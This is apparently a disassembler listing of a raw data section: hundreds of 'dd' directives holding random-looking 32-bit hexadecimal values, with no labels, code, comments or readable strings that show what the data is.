		dd 4B329D45h, 8FB10157h, 0BE44D45Eh, 4084C1E0h,	0C1184364h
		dd 0A5CC07EBh, 0DE4AFC25h, 0D815C0E9h, 0DD01B526h, 34579697h
		dd 0A4AF70E9h, 8BAB8EDh, 6B489298h, 5503D392h, 14B67821h
		dd 72C6BC7Ch, 0D84CF2B5h, 0E04FB124h, 80590BCBh, 990F68C3h
		dd 24E81F6h, 6A773AAEh,	5642EFB2h, 7F65EFBFh, 0F8F334B5h
		dd 2E7015FFh, 1070903Eh, 119F06Bh, 7BA22AD5h, 2C59444h
		dd 0EBE15FF8h, 67D2A4Ch, 4D8B6FDDh, 0ECD0C283h,	2335B14Bh
		dd 3A8829ABh, 0BE87E404h, 16AE9CD4h, 0C39C138Eh, 32E26631h
		dd 3A9E05C1h, 0F7B5DD0h, 0B0559048h, 0F3B3E247h, 0DFFD5070h
		dd 0D6123D32h, 0D7CBA25Ah, 57832EA2h, 5D4BE5E9h, 8D3BCEA5h
		dd 0B4B6801Fh, 3023B518h, 8A9A97E5h, 0AB1973FCh, 9C8059E5h
		dd 701A4C5Eh, 46559B68h, 4AE4E5D0h, 0B44550E6h,	1D1245FAh
		dd 0B321DE29h, 0F9A657BCh, 0C128947Dh, 455C8A2Ch, 0F5A98002h
		dd 85F8D0F6h, 53DDE934h, 0E7A7F2B8h, 0BD0A9C01h, 0E21B2006h
		dd 5A65578h, 21B12B86h,	0B609BE29h, 3776105Ah, 870F800Ch
		dd 58C4654h, 0F5695F02h, 0D4C9E906h, 33BE152Ch,	0F6385917h
		dd 0B44310BFh, 90130B93h, 98A6F25h, 4EFE0CA1h, 0FC1ED55Ah
		dd 56C7E912h, 0B1A56629h, 0A7E92368h, 0B7CF4741h, 85122754h
		dd 7F1E1AB5h, 71E4AA02h, 204094DEh, 20E9DC30h, 2504035Ch
		dd 5B017174h, 5AAF69C2h, 0A552CBCh, 0A4291D47h,	0A36012B8h
		dd 7ED904A4h, 86E862A9h, 92001E2Ch, 0B158AC5Ch,	3683D366h
		dd 9D77E99Ch, 0CA2C2A2Eh, 9854273Ch, 4F966803h,	1109A322h
		dd 0C42604FAh, 51C3400Fh, 3548AD48h, 51FA2534h,	0E6F12597h
		dd 741A4272h, 0CE5AE4C8h, 2AB8181Bh, 3558C18Fh,	73AF751h
		dd 82ADE1E7h, 0A7400A25h, 0C69442C9h, 474C0D87h, 0FC3409D6h
		dd 0B9E16F91h, 13296F03h, 37EF960Bh, 1C50269h, 17AE2CFh
		dd 0A382E908h, 83E34B6Ah, 0EB76FFE2h, 26686F88h, 81A73F22h
		dd 0CB3570FAh, 77AA0A9Ch, 6D0CDBF9h, 1900B81Ah,	3543AF6Fh
		dd 2F1A0167h, 480506Dh,	193C4FA7h, 58BA79B0h, 7294C54Ah
		dd 1D306E8h, 254CD0A3h,	0D8012E1Ah, 0E5DAB333h,	27682E64h
		dd 0B6141F12h, 9F923599h, 0C47607A1h, 801B6150h, 0B32C53ACh
		dd 0D81C1026h, 64845039h, 2C12EF9Ch, 984800FCh,	40D0932Eh
		dd 0D738EC5h, 0ED092A76h, 860A6BC2h, 801CCD93h,	0B4D0E908h
		dd 459098Ch, 948F2484h,	1309E25Ch, 0F9D010B8h, 0F4C58844h
		dd 0F4DB4B67h, 5D409399h, 0A05E0FB8h, 314927AFh, 6E575CE1h
		dd 0AE21777h, 0BA005AF8h, 6242BD82h, 0F649D97Ch, 41D824F5h
		dd 7CBEE954h, 305A2744h, 0AB639F67h, 0D1D2511Ch, 0B8095F11h
		dd 8CBBC425h, 72A07A0Bh, 210177FEh, 0E2E907F8h,	0A04D9034h
		dd 37EA3296h, 6894E752h, 18C28B3Dh, 30530B05h, 698CE9FCh
		dd 80F0DD42h, 0DC291004h, 6EA35B4Fh, 3A1ED14Ah,	0C2FBB0A5h
		dd 0B817EE03h, 0C216B173h, 1C2B02EBh, 3A52997Ch, 0A2B60F17h
		dd 9B4073DDh, 59013D2Ch, 2C8AB51Ch, 250E0950h, 20B306EEh
		dd 1C57ED93h, 944009F3h, 767C2829h, 0EC900BCh, 414FDF64h
		dd 0ED5BFEE9h, 6A5E0E61h, 0F4C35981h, 3060DE6Ch, 982568E2h
		dd 89327136h, 0ECFC5F79h, 0E8F6A10Bh, 9F34F308h, 0D35920B0h
		dd 0C36D11EBh, 4140FE02h, 7D82BA37h, 73CACB00h,	0EA2D3183h
		dd 0C08835Dh, 0E22107EBh, 0F048173Bh, 3E09860Fh, 0EF0FA5D6h
		dd 0E9118215h, 136BDC99h, 4DA78F5Ch, 85E9824Ah,	0C99FD30h
		dd 0F78B34B1h, 722D548h, 0FDC719Ah, 76EECD60h, 0A67E586Dh
		dd 7399D34h, 293EFBACh,	0D4028176h, 0F50113B5h,	0E9184D94h
		dd 0EBB30FAEh, 0E481ED6h, 53BC80Ah, 0B08A4F1Dh,	0CA4C5C6h
		dd 3B01470Ch, 189A694Ah, 22F67866h, 1433C3B7h, 0DA2657CBh
		dd 0D259B181h, 24D9706Dh, 0D4C517CBh, 2E6AA98Eh, 0C4055B0Dh
		dd 7DC3389Bh, 69F7E40Bh, 58E0F08Eh, 0B710C7DAh,	56BAF53Eh
		dd 7DC301B6h, 6E13D5D2h, 0BEB9378Ch, 5B9C268Ah,	0BCF38FF7h
		dd 30A8A4F3h, 9540EA2h,	0CF015513h, 2E3A4CA8h, 1252E482h
		dd 9ED0377Fh, 34B6120h,	8A0FE8D1h, 3802C191h, 0BB39F635h
		dd 0D364E06Dh, 0E02D80CBh, 5C0E761Eh, 0DE5D8DCBh, 0EFE78837h
		dd 0CC128724h, 0C4C67E80h, 0A9214A4Fh, 0E7925B58h, 0AA9FF8ADh
		dd 0FA1CDF2Fh, 864796BDh, 33958973h, 75D38974h,	685300E0h
		dd 36D16F97h, 0E302C15Bh, 45850F05h, 239AAFAAh,	0DD55255Eh
		dd 7D496CC2h, 68BD489Ch, 9C54A662h, 9B7B6B56h, 0E9585BA4h
		dd 0A6B84A1Dh, 0F0A82498h, 91E38843h, 94415BDEh, 332A4883h
		dd 0CD00161Eh, 4968E105h, 51D00177h, 4D74072Dh,	126FD297h
		dd 0B9A38CE8h, 0E83D4800h, 0F916BF5Dh, 0C5C05B47h, 222D80B9h
		dd 715FB64Eh, 3AC01E1h,	5B75014Dh, 0F4257A14h, 1A5C5540h
		dd 0E95E7417h, 2DBABBE4h, 84A05260h, 5E35429Ch,	65D6292Ch
		dd 0B2EBC027h, 0D0883CA7h, 0B92E6092h, 8B022458h, 90253D02h
		dd 9B5E41E1h, 7D912D00h, 78732627h, 0E9078058h,	8E5ABEDCh
		dd 0C96083F1h, 18E0FE4h, 665806B2h, 30DE0EF4h, 885AC0D1h
		dd 0F6E18ACEh, 60FC0005h, 6B2D1A2Fh, 1809A910h,	8058C529h
		dd 2112AF41h, 1D96987Ah, 0AC6156BBh, 0C9529C95h, 0BCFA41D2h
		dd 0E260C10Fh, 1CC7EF6Ah, 582F08A8h, 0ADD7F95Ah, 8B1E82E5h
		dd 317E4C25h, 0D160D788h, 0A01F7D01h, 0C43B4FE9h, 0C2CDC6F7h
		dd 8491879Ah, 6EE9E4F6h, 8F70B3B2h, 0FA5CB538h,	54DD772Eh
		dd 61FF5FC5h, 34D0B2CAh, 18EEFB73h, 18230B4Bh, 0C3E5CF5Dh
		dd 40A93C88h, 0F778811Eh, 0E6D0203h, 0C85FF929h, 2467BFF1h
		dd 21872DCh, 3E79367Bh,	0E9CCA0FDh, 79CC06ACh, 89CA48E1h
		dd 7E4596E1h, 3FF5FA41h, 68845514h, 80767B83h, 6A4FEF3Ch
		dd 0C683037h, 0FEA717A2h, 0C2B5029Eh, 25D5BD8Ah, 5912FB7h
		dd 563A895Ah, 60B8B8DDh, 3C38FD5Eh, 7385BF46h, 9E3AEC2Eh
		dd 0A740C609h, 74F4E274h, 0AB686E90h, 4147971Ah, 524EA16Bh
		dd 0C52A6468h, 0A6DAF8Dh, 126D97Eh, 3BCEA0B6h, 63076541h
		dd 3C800C54h, 451F264Bh, 0E913CA29h, 0A921ED70h, 5D720ABAh
		dd 301EF905h, 146C775h
		dd 40332E5Dh, 57A886C3h, 0F3A09F4Fh, 0C121265Fh, 9264219h
		dd 2064E655h, 0BD075CB8h, 60EB671Ah, 17E084A5h,	59E80028h
		dd 5308E0C0h, 0F7FC76B3h, 0DE6AC34Dh, 0B4BCC896h, 26BD05D2h
		dd 8132AF6Bh, 0D741CA1Bh, 0E0928116h, 0AF70E7B5h, 0E9138294h
		dd 16921E0h, 0EF6C46FDh, 0BD26543Bh, 326FA5ECh,	0DFB5E90Ah
		dd 1C96569Dh, 96AC5A52h, 9F14EAA2h, 2F98849h, 0F23740CEh
		dd 0B31A027h, 533F2C7Ch, 0E8B71F3Dh, 0AF06090Ch, 204DAE3h
		dd 80E890D6h, 46BFBDF7h, 0BCBF0310h, 29FA6F4Fh,	0BB91E990h
		dd 1580492h, 0B35E89A5h, 0E9E60B33h, 0BB44C8DFh, 2BD594C4h
		dd 21CB8807h, 205B871Ch, 9560C085h, 20A9682Ah, 801E4ADDh
		dd 9E692FF0h, 374E0D98h, 0BA28C2F4h, 4AC6B745h,	99599F6h
		dd 0E2D5FC43h, 1355C6AAh, 4853C2D0h, 1B4501Ch, 58E708FDh
		dd 0E4DDC780h, 0E1E4FC88h, 0E9F45BF2h, 0F3EE3D7Dh, 0E54017EAh
		dd 8FF1FF28h, 0CF6F7E25h, 0C22F5654h, 644D2EE9h, 50873C7Ah
		dd 52740DAh, 0B7F315Dh,	0EF9EA3F4h, 0F7E3CA3Ch,	0A0BD4365h
		dd 559C5B6Ah, 0B2432689h, 0BAA2FDA4h, 620EBDD4h, 576D1325h
		dd 432AB060h, 60783525h, 1F9C673h, 21D47F7Ch, 6990E9F5h
		dd 1EA1188h, 3F7F3660h,	20B577A4h, 0EC43C22Dh, 0C4894E0Fh
		dd 689BC079h, 0BF9E0CF5h, 397E9361h, 9EF8DB21h,	6669001Ch
		dd 0C1DBF75Bh, 70BC02EBh, 620E7480h, 0FECB873Ch, 208DFD1h
		dd 3BF664F3h, 579B39E0h, 0CF652B2Ch, 5B4A07A0h,	9E88BFA0h
		dd 4EC78107h, 80747626h, 6473E60Ch, 98D70121h, 0E90880E4h
		dd 329861ABh, 0F0B19EB6h, 0A170C180h, 0D6FDF151h, 9211ADFh
		dd 97A870B1h, 2E261195h, 189D1812h, 3681D86Ah, 905A4440h
		dd 34D4EBCh, 692A68CBh,	0DF8E2318h, 95583C15h, 5FF928B2h
		dd 5DEB0183h, 37AD9D83h, 0A18C8988h, 0B02948E6h, 615D0F66h
		dd 886C39Dh, 0BA781894h, 757F0B1Eh, 92B12593h, 66096B79h
		dd 4582F1F7h, 5ED1A4C3h, 2FDE142Dh, 88C8D8E9h, 22E067F2h
		dd 0D5010405h, 20FB515Ah, 0E139E9F7h, 0D68015BCh, 0F77C9573h
		dd 2E3790D2h, 3D62A43h,	0AC328A0Fh, 0A4CA5103h,	44DD42h
		dd 0E27E795Ch, 0C7830F2Dh, 4DC80C5Bh, 45AD3C57h, 0C08B7280h
		dd 2A0A6505h, 0C35E6F24h, 9C147770h, 2FD3607Dh,	64B77C4Eh
		dd 391F04AAh, 0FE440146h, 0C133034h, 93668106h,	0ECB809A4h
		dd 0A7FE45B7h, 5F56D901h, 68D8297Eh, 0B3495CE3h, 0B0FBDCAh
		dd 0A7A35EE9h, 89B5F131h, 0B1B1145Ah, 0EBF32A38h, 0A0BF8788h
		dd 9644F28h, 24820237h,	215E2260h, 14A31546h, 0AC06E3C0h
		dd 47532713h, 302BC3F2h, 0DD88D1EBh, 1E4A7190h,	0B0A50AEDh
		dd 5F24E9C8h, 68855D0Dh, 31F81E78h, 0EA5CE0C9h,	0FB7A2FBFh
		dd 4A41CA8h, 0EC285AF5h, 9270919Ch, 0E9786CAAh,	2BD97155h
		dd 43686690h, 2432AB6Dh, 609564FCh, 17A6B850h, 9F3EB064h
		dd 47D9B989h, 1F1A0DA7h, 83A1B5DAh, 9E05389Bh, 13A4E317h
		dd 806A0BB6h, 0C1F69FE6h, 708C60Fh, 0F30092EEh,	0CED8205Ah
		dd 757278FCh, 9A5B6D9h,	0E8FE41E9h, 262E5083h, 9A55631h
		dd 69101FFBh, 300E2C4Eh, 44F38A02h, 21FA5CD5h, 5573D3EBh
		dd 0BE2DEF7Dh, 92B9BC40h, 1C962763h, 8617D0F9h,	12C9E7A4h
		dd 41A2ECFh, 88EA9146h,	791ECCCBh, 12D56410h, 71D94EF6h
		dd 51E47245h, 85409F5Dh, 833302E1h, 90F1D2E9h, 3C1C77D3h
		dd 0D7D1C821h, 0AB92C172h, 5D0ED322h, 1ABD280Eh, 0E5C08C5h
		dd 6DB75452h, 11A210Dh,	3E6137A5h, 0C166BC62h, 0C430878Bh
		dd 4D6D691h, 4F64C30h, 69C25053h, 0B609DFC8h, 20507FD6h
		dd 547195A3h, 6B95F1AFh, 20737054h, 799008CEh, 5ED9704Eh
		dd 752A9931h, 88CFE934h, 0C9954829h, 0FE52F8F6h, 102A71Dh
		dd 3DF6D7F7h, 60B07F52h, 0C7891A6Fh, 21B61B3Eh,	0EE543EC2h
		dd 61F7F32Dh, 103F6E9h,	9EDC2E2Ch, 0BA9BC111h, 0E2CF2FB9h
		dd 7826D460h, 0AA327528h, 76EF5902h, 0E2FA01C5h, 4A2370BAh
		dd 0C477B288h, 46A818B6h, 9AB8F08h, 89A0E22Fh, 0B050D259h
		dd 808301D8h, 0B5E99CC4h, 56B22318h, 44727E81h,	0CB01D4C4h
		dd 1B06041Dh, 5D048236h, 48059F78h, 0DC1A850Fh,	8B985FEAh
		dd 0BB510BC0h, 64F3C42Dh, 0F9209583h, 90691A77h, 59DA5C38h
		dd 79476F01h, 0CE12FBF7h, 0B6B2F0F4h, 9D51949Ch, 0C760691Fh
		dd 3023B975h, 0D1297628h, 5155A5Ch, 3B4B4778h, 1388B581h
		dd 5F0930ECh, 0DD2BF2F1h, 496C00BEh, 6EE97C88h,	67B895BEh
		dd 0A9B55729h, 9F710285h, 0F2A56C5Bh, 2BBDBE9Dh, 0C5D6256Dh
		dd 9CF74C2h, 21DF035Fh,	0A8184A29h, 2FE25EFDh, 2D2EE9C2h
		dd 9D274E5Dh, 357316E9h, 3B6A20E6h, 0BFC4E095h,	0EC19978Fh
		dd 9873BEFBh, 0AD554A94h, 0D6EE958Fh, 165EF32Fh, 0D72152C6h
		dd 6F8F9215h, 12A27596h, 0ABA2D40Ch, 0F833AE81h, 0CA3956Bh
		dd 0E143E237h, 0BA4E1F00h, 718E0F64h, 6027A023h, 22F0257Dh
		dd 81011D74h, 0DD4A0AEDh, 40652A30h, 0EC5899Eh,	33EC0C70h
		dd 0AB300BC4h, 6E8A7D9h, 4EE6BD60h, 731EE11Ch, 49860061h
		dd 4C011203h, 0C2050BBh, 931C10D0h, 2525EBF6h, 0FF5B2A04h
		dd 6857A530h, 1F620F59h, 0F84E5F66h, 3B1E2D60h,	5A903679h
		dd 0D40D420Bh, 0E2D9A06Ch, 0C0F10278h, 0D92FEA7Eh, 0E912D59Ah
		dd 0AB4E97C9h, 0BF78EAD7h, 7CE4C08Ch, 0A8A59408h, 0A49D8006h
		dd 633A287Fh, 0DA06F9Ah, 0A95DEFE4h, 0F2A4104Eh, 7A183502h
		dd 10413828h, 0A2AB11AFh, 6677316Fh, 2319C958h,	958E2000h
		dd 22ACBA3Ch, 0D77AE918h, 30810F34h, 0CE2F3ADEh, 924F7420h
		dd 18C77F83h, 0EBD38A22h, 0C180CCF9h, 3BA980EDh, 31F139C7h
		dd 46C2F5E4h, 84460CEh,	252199BBh, 5E8FE57Eh, 22E2A655h
		dd 0D0CCA037h, 51152D87h, 4274020Bh, 0B7BC5D9Fh, 0FC0942C0h
		dd 85C51228h, 506420C1h, 4AF878B0h, 63265D9Ch, 0F8CCEA53h
		dd 8820B9C6h, 0F5631B58h, 0E1A7028Dh, 5DB37A8Bh, 29161DE0h
		dd 0ED618C26h, 0D445F51Ah, 8E27A7ADh, 9A5FF946h, 6277907Ah
		dd 60BA813Ch, 77A85E1h,	69F8C62Dh, 0AE359441h, 0BE86853Ah
		dd 458EF54h, 5BF968C3h,	0B62E8CAFh, 95E9A213h, 0F4F875C4h
		dd 0E78557CFh, 3F2DEAD3h, 6183B44Ch, 0D02922E7h, 1EAF225Ah
		dd 0C1E5957h, 0C9044D1h, 30DE5838h, 0DCC1E973h,	7146EFD2h
		dd 0FCB9B653h, 6F0E65D0h, 0E0A8504Dh, 0AE4010h,	18575935h
		dd 3E6A2503h, 0F7830E5Ah, 2F14E9D0h, 0CB283816h, 80CF36F2h
		dd 8DB3A8Ah, 0C6245D85h, 0F6DA8800h, 5AE950D2h,	0C4776530h
		dd 0D88D05B9h, 7B8EC8E8h, 5863194Dh, 0A7927FA9h, 55C5C48h
		dd 23F7F250h, 0D659E6C2h, 0D3E898D7h, 319D0168h, 280CEC70h
		dd 0A077195Ch, 9685357h, 397C6F2Bh, 7E390075h, 2FEBECCDh
		dd 0A850DF89h, 40710F01h, 9C27E935h, 208EA9A8h,	14A046DAh
		dd 18B1D8E7h, 0AEEC8717h, 6160FD93h, 0C1EFD14Fh, 0DC841CAh
		dd 0EDB1136Bh, 20DB89ABh, 87D3F748h, 97498DFh, 91B1A5Ah
		dd 3B46C80h, 3148982Dh,	0C3D412F2h, 30C59590h, 0BE61010Ah
		dd 3C9772Eh, 6E5E3B31h,	0E787B880h, 4FE9F589h, 29C4068Fh
		dd 0B20B3AC8h, 80374202h, 2B53B69Bh, 41E93932h,	0AB3850D5h
		dd 0E9169E46h, 5BD182F3h, 0F7E4F3D0h, 969C8AF6h, 5AF5963Ch
		dd 2D73F4ACh, 0C4C2A1E5h, 0DB272C54h, 0FD25BA33h, 3AA54D60h
		dd 3E1EE5B7h, 6C511301h, 62CA2908h, 54B712CBh, 46D790B9h
		dd 6A8C2026h, 0A57DC59Dh
		dd 65A37F80h, 69B75021h, 287F5DDBh, 13A22DFFh, 4844C4Bh
		dd 8F325E96h, 42C787Ch,	785B8BEFh, 57F9465h, 0C0864DC7h
		dd 196CE1A3h, 0F7263F72h, 27162BD9h, 0B2DE8A4h,	88030CFDh
		dd 4E9F06F8h, 85C9163h,	5A121AFCh, 0E0DF00ACh, 64820507h
		dd 0B7500C8Eh, 0BF5E7D4Bh, 3216D2C0h, 5ADD14BFh, 64C2C28Bh
		dd 4118B4DEh, 137CB949h, 12B713Ah, 985AF8B3h, 55DB3047h
		dd 9F09EA90h, 7C59CF29h, 0B3628B4Fh, 4E03920h, 700550Dh
		dd 0A60575B8h, 0CC2011D9h, 0ED8C31D5h, 9811662h, 63D6748Bh
		dd 100C96AFh, 2530F068h, 52D3402Eh, 0E188511Ch,	0A6F8CA93h
		dd 7E93725h, 0C9C83E3Ch, 3B6F62EAh, 610FEB87h, 0CE30CAB6h
		dd 0B418A248h, 71B80224h, 0BDE07304h, 7DC4A1F7h, 92444FCCh
		dd 0B535AB13h, 5413E9B2h, 58051C5Bh, 7EFFBF3h, 3C0523B8h
		dd 1836373h, 0A1831DC5h, 53873BCDh, 4FF4C492h, 0AC1C10Dh
		dd 2C5E6568h, 0FFB9021h, 6B813A8Eh, 0E9AAA129h,	36ACA0D3h
		dd 77F80C8Dh, 0D75AA89Fh, 9540A788h, 0E5E799A7h, 5C0BD088h
		dd 564FE1F7h, 11212344h, 7F1881A3h, 49E2F7FAh, 2F1766BFh
		dd 0E0BC6778h, 1D407898h, 0C6E25DD1h, 1FFC201h,	0EF89648Eh
		dd 772C702Ch, 51D97B40h, 0FAA7B8F3h, 152DB671h,	0A24EAE33h
		dd 20165877h, 995B59CEh, 32B60B92h, 4997AEC6h, 0B8259955h
		dd 53A0EA28h, 361F4DBBh, 0E3005E01h, 40972261h,	0CFD5DE9h
		dd 0D82D5A27h, 39CA2E3Fh, 4096E917h, 3C64BA06h,	2DF46C3Fh
		dd 0FC36B35Fh, 8A025F76h, 0B05F2CBFh, 0E6080AA1h, 0B01228FCh
		dd 0A5415AE1h, 95C06BC0h, 5B388A0Fh, 4C9EA255h,	0C6F1077h
		dd 34C58009h, 2EDCA82h,	0A0BF90DCh, 8B5F55B9h, 0DD82D82Eh
		dd 5C3AB19Dh, 0C316BA22h, 9685F2CAh, 0A8BCDB81h, 375DBB00h
		dd 94FA3250h, 0B5423541h, 832AD925h, 38B24702h,	745DD5C7h
		dd 6312AA28h, 0E2C1EF60h, 0CA871808h, 0D7E90649h, 0C69749B4h
		dd 0C60FCA9h, 68C05EA6h, 0C9697DB0h, 0B5F506E9h, 3CCB022Fh
		dd 50582260h, 5F1D5640h, 0B82FCE00h, 7A577E07h,	0ACC84B31h
		dd 47E9A039h, 0B1E5BF4Bh, 0AC48AF24h, 4A03FE22h, 4465E281h
		dd 7596940Bh, 1D18C703h, 0C113955Bh, 7A8D426Ah,	0CF6FDC8h
		dd 3FD4B50h, 531FCAC8h,	0EE0160F2h, 43AB36B9h, 978807Ch
		dd 907806DBh, 0E05E8506h, 0B659E62Ah, 0A007FF22h, 0B85E5491h
		dd 3B652A92h, 7EB6A0F0h, 0CB79DAECh, 5368A6A2h,	0C1C313FDh
		dd 0B148A37Ch, 0C26E127Fh, 9616011Ah, 700D482Bh, 97AA50Ch
		dd 0B9542064h, 251C491Dh, 0F65AA054h, 62F528E1h, 6D63AD2Bh
		dd 8D806AF1h, 0E971D666h, 0A44A4BD2h, 3202C764h, 11D8313h
		dd 8DA88CFh, 94A72E26h,	0B4695D6h, 0D759DFCDh, 12348B3Ah
		dd 69EE3CA9h, 11C82EC5h, 0CFDD4A8Dh, 0F1297FC5h, 0EE250FCEh
		dd 0BA5223CCh, 0E456F00Fh, 0F5EC0112h, 2C6A0841h, 7E942CBCh
		dd 0B551F925h, 8848B626h, 535C0487h, 0D04BC256h, 17BF7B67h
		dd 0CAB4EBB2h, 0B6721620h, 0A073B85Ch, 61A2DB8h, 64E92385h
		dd 0F73C8FE5h, 5AD74C5Eh, 1B100FA3h, 25C94CBDh,	0D967BB87h
		dd 16A4DE80h, 4D010F4Bh, 0A8AAF5E0h, 86B18508h,	4C4B730Bh
		dd 359F21ABh, 3DADE985h, 5E4162BAh, 0FAC2DD5Eh,	91530EC5h
		dd 7A2331ACh, 36269021h, 0FC1C77Dh, 849B1B82h, 0C42CF2B7h
		dd 0C251F5C2h, 6E055553h, 4D0FEF5Ah, 9E4B83E7h,	7690B77Ch
		dd 904EB36Dh, 2A830750h, 0C9492E4Ch, 0A90EB802h, 0F80CC50Ah
		dd 0FC25FEDh, 2B4125B5h, 8EC01F69h, 3B5BEAD1h, 0C2561EF0h
		dd 72036889h, 50143D66h, 89CF20B8h, 86E010C2h, 52F2B4DDh
		dd 0DE56E509h, 0F6EB81E2h, 9EE98A55h, 4453A7E8h, 8E15E961h
		dd 0B687F354h, 10864D8Eh, 34209A4Eh, 0CDE9E616h, 0C138EB45h
		dd 8625C104h, 0C6F1CAF8h, 528205B3h, 0CA1F5EAh,	0D3649668h
		dd 8850C50Eh, 0CCC149F8h, 9DD1F668h, 6816DAE4h,	76E36985h
		dd 167E6A03h, 4F1592Ch,	2F476627h, 0B038F09Ah, 0CFEBE8EEh
		dd 0A33F645h, 85CDCC57h, 98615568h, 3254F77Ah, 0AB0FBA08h
		dd 0A4085219h, 32FA45AFh, 77E501Eh, 5FFA3102h, 20807829h
		dd 6FF3EB67h, 0A8A5016h, 3A9CE909h, 0B9E6994h, 2C2D5651h
		dd 2DBDF393h, 0B7626453h, 285B796Ah, 1D281508h,	0AD138A5Bh
		dd 0E2C08711h, 922FB207h, 53A96BE8h, 646D1E27h,	245850F7h
		dd 72A85A62h, 0BE50E17Ah, 9E810F0Bh, 4009F631h,	0C578980Dh
		dd 0FA883517h, 7A382DD0h, 0C1125C7Ch, 6314150Eh, 0F741F073h
		dd 2F5DB67h, 0C5E90C11h, 334755EEh, 0BDF71049h,	12EF91E8h
		dd 301DA1C8h, 2B04616Bh, 23E93BE5h, 0AD3AD9AEh,	6232D961h
		dd 0EC55C9CBh, 0D7C84A72h, 0BC76F213h, 0C8D1B3C9h, 8F150FD9h
		dd 188216E4h, 8C1708E1h, 0DAE95A18h, 0F08912E8h, 68561E90h
		dd 0A8744E48h, 4C5EA286h, 47BAB0D8h, 5EB536Bh, 5439648Bh
		dd 0EDC926C4h, 61C097Fh, 5EF13848h, 5CF7514Fh, 0C275FD4Ah
		dd 0A13E1068h, 96EFE947h, 7E4F297Bh, 5502D661h,	459DB62Bh
		dd 8F4230B2h, 78547914h, 1F1D00CAh, 4BE931CBh, 18778A10h
		dd 8183FE7Eh, 0EB442E58h, 4417AE78h, 0EB4E4D76h, 2DF8EB35h
		dd 0A3D00184h, 0ED1C6231h, 53854938h, 0C77C1061h, 2DF38001h
		dd 0F666DE88h, 0C017A356h, 921345F0h, 0DFDBF142h, 30D3C1E0h
		dd 0C35FBCC8h, 752DFA13h, 0FA07C6CBh, 963C410Ah, 1684D370h
		dd 4E8BCEEBh, 19322B2h,	351CEB5Ch, 0D90A603Dh, 8B57B17h
		dd 0B7730FE9h, 0E7E9BFC8h, 256F0097h, 0C1E6DABh, 7F8B0F5Fh
		dd 180B2DBFh, 0D03372C3h, 0E18103C7h, 5227171Eh, 4892F1B0h
		dd 0FCF941E4h, 680AB26Ah, 0FD42E9ACh, 5B4E039Ch, 0EFF75B5Ah
		dd 5CF1B136h, 0C0203FDDh, 77C1FE24h, 25BEFD08h,	88D1035Eh
		dd 4C305CD4h, 0D0104AF9h, 80A451A3h, 2E46FB82h,	0B4C801A8h
		dd 0E00C16B3h, 4809B850h, 584B9F2Bh, 0B0D066Dh,	0EE739765h
		dd 82A4BD4Bh, 37A75B89h, 8F20397Eh, 0B2E5815Fh,	4C0C2D01h
		dd 0EDC1DDF7h, 15A41FAh, 0E459947Ch, 13097C7Fh,	40E382E9h
		dd 997F967Ah, 0FC00254Ah, 2D08C242h, 7783D04h, 0FAA0056Fh
		dd 0F5805B37h, 31A263D9h, 72C5293Ch, 685808A0h,	4D2D822Fh
		dd 0D25C12F1h, 0C9688146h, 52128C05h, 58086EA3h, 55D02DF6h
		dd 45248341h, 0D2204B30h, 5E40DD09h, 4EE68004h,	0F2C6FE3Ah
		dd 2730B82Dh, 0E800ACC6h, 25536659h, 347EE6B7h,	4D81EB8h
		dd 351EE127h, 0E62FD0F1h, 189D7D5Ch, 9EF4E904h,	81ED2069h
		dd 0C9364696h, 3EFC10Fh, 0A2D8939Dh, 0DF84AB1h,	0F86C8113h
		dd 0F9E9C4F6h, 160EFF1h, 5AE7E4CCh, 7F948B58h, 92B0C35Ch
		dd 5F7BEEF9h, 5DEA0483h, 10EFF201h, 0F84BC214h,	26511666h
		dd 26FAAF4h, 0E90DFD2Eh, 0F354E4C0h, 0AD426D65h, 755E3168h
		dd 14B7796Ch, 68571C21h, 0E54F9D23h, 0E108C3D0h, 86F73EACh
		dd 519DC1E9h, 58B1A42h,	0EC69F131h, 28B86815h, 551692EBh
		dd 6B5DE1C2h, 58A52578h, 7C25725Eh, 17E9706Ch, 55DB09B5h
		dd 9FC2FAB2h, 348648C9h, 0B408D4Eh, 5FFD2731h, 11206752h
		dd 5399047h, 2E0C359Eh,	0E9ABE42Dh, 4AD7E649h, 837CA3B1h
		dd 284E2A1h, 0AC095559h, 0DFA40955h, 0F10874B0h, 684122B1h
		dd 0CB7F74B5h, 628A60A5h, 1C6F4815h, 0C0D8F740h, 0C249AF0Dh
		dd 7959E951h, 0CC80000Ah, 108A0FB3h, 0C413C3ABh, 0F5DCE96Ah
		dd 0D43BD826h, 50A79E2Fh, 1B6C2908h, 745A003Ah,	0DEF76D0Bh
		dd 0D5403C98h, 4CCCBD54h
		dd 790FA72Dh, 30488F76h, 9A04BAAh, 4BE8D46Ah, 0C8B9F309h
		dd 2F805B4Bh, 0FC1C6851h, 433A4209h, 61F41FC0h,	0D26803Eh
		dd 7D365B46h, 77011390h, 687FA65Dh, 5E552B84h, 4E5E1540h
		dd 65AF681h, 0D1163845h, 391310E6h, 0A60AED56h,	0D2A597E0h
		dd 1D602219h, 1628B91Eh, 0C9816B80h, 0A0052F9Bh, 8280E7E9h
		dd 88073778h, 0CE3059EEh, 0DFAAA6D2h, 31C0BDA0h, 78972567h
		dd 0E4681456h, 9FD89254h, 5159D8E9h, 30380282h,	5D5D7269h
		dd 2390A4E6h, 76BC899Fh, 95B1F7Ch, 0CF113872h, 0F073AFC7h
		dd 0CAAC257Ch, 449D3166h, 49E62D49h, 44BA1F1h, 9CBF09C3h
		dd 14B2FE51h, 2B6525Eh,	0A4B3B8D2h, 0A2E5E552h,	89144162h
		dd 9669E5h, 0D40C3F74h,	4369BE37h, 8BFDE0Bh, 8805B70Fh
		dd 0B00359EBh, 0ADDD2838h, 0CA8155C4h, 0D7317C04h, 4BB168D8h
		dd 0BE945D0Dh, 0FD40E90Bh, 74FA0327h, 7803F1EAh, 0E821A161h
		dd 9E52E444h, 8104F816h, 72823BB3h, 44FBD280h, 42BC6602h
		dd 0CE0AB193h, 18EDB2Dh, 824FE5DAh, 0E5D874FBh,	467AFCC0h
		dd 0FCF82DCCh, 16C3EB64h, 0F8812F6Ah, 0AFF892B1h, 89EA8C4Bh
		dd 385EF734h, 33ADC813h, 0DBFCE983h, 58F5A930h,	4C556C39h
		dd 0A24FF95Eh, 2656CC4Fh, 0F57512DFh, 0D9040E19h, 0EA1ABCC5h
		dd 4337AF42h, 0C781E074h, 60980947h, 9E7E09A4h,	0C86F301h
		dd 3130231Fh, 174F9401h, 7180445h, 0D397804Dh, 0E9E44465h
		dd 4A50325Dh, 0D7CA72FDh, 80C800A1h, 0D1F66AC9h, 0E9CE04DDh
